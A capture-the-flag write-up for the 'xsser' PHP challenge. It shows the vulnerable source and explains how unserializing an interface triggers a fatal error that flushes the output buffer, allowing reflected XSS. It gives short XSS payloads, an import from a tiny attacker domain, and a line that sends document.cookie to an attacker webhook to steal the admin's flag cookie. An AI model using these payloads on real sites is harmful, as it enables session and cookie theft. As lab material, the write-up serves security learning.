Tags: xss php web 

Rating:

The page displays the source code of index.php

<?php
include('flag.php');
class User

{
    public $name;
    public $isAdmin;
    public function __construct($nam)
    {
        $this->name = $nam;
        $this->isAdmin=False;
    }
}

ob_start();
if(!(isset($_GET['login']))){
    $use=new User('guest');
    $log=serialize($use);
    header("Location: ?login=$log");
    exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){


  if(stripos($new_name, 'script'))//no xss :p 
                 { 
                    $new_name = htmlentities($new_name);
                 }
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

}
 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
            setcookie("session", $flag, time() + 3600);
        }
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
    echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);

On first glance, this problem looks like just a XSS vulnerability, but the ob_start(); and ob_end_clean(); mean that all of the output between the two are buffered and then discarded.

First, let's note that one of the referenced files is req.php, which is a page that we can submit links for the admin to look at. The assumption here would be that the admin's IP address is 127.0.0.1, which would properly set the cookie with the flag.

Now this problem looks impossible. However, if we look at the documentation page of ob_start(), one of the comments mentions that if an E_ERROR is thrown, the buffer will be output properly.

Thus, the problem becomes getting a fatal error thrown by one of the functions. In this case, the only interesting function is the unserialize function.

If we look at the documention for this function, we are again saved by the comments. One user notes that if you try to serialize a class that can't be initiated (like abstract classes or interfaces), PHP will throw a fatal error.

Now we just need to find any interface or abstract class. I chose to use Traversable with a payload of O:11:"Traversable":0:{}.

Now, we are able to get a working XSS exploit with a url like http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=alert(1)>.

We just need a tiny (32 char) XSS payload. For this, we can use a short, 4 character or less domain name (can abuse punycode) (e.g. http://xsser.3k.ctf.to/?login=O:11:"Traversable":0:{}&new=<svg/onload=import('//attk')>) or store our exploit in window.name.

Our XSS content should just be to send a request to a webserver we control, with the contents of document.cookie. For example, window.location.href = 'https://attacker/webhook?' + document.cookie'.

Now that we have the XSS part working, we need to make sure the cookie is actually set. For this, we can just host a page where we have an iframe to http://xsser.3k.ctf.to/. When the iframe loads, we redirect the user to our XSS exploit.

Now, we just need to submit the link to our page to req.php and then watch our webserver logs. Note that when submitting, all instances of http://xsser.3k.ctf.to/ should be replaced with http://127.0.0.1/ so the client IP address will correctly be set to 127.0.0.1